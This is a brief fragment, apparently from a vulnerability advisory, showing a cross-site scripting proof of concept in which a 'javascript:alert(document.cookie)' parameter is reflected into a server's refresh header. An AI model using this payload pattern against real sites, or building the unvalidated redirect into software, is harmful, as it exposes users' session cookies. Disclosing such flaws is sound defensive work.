With request to script at web site:

http://www.example.com/script.php?param=javascript:alert(document.cookie)

Which returns in answer the refresh header:

refresh: 0; URL=javascript:alert(document.cookie)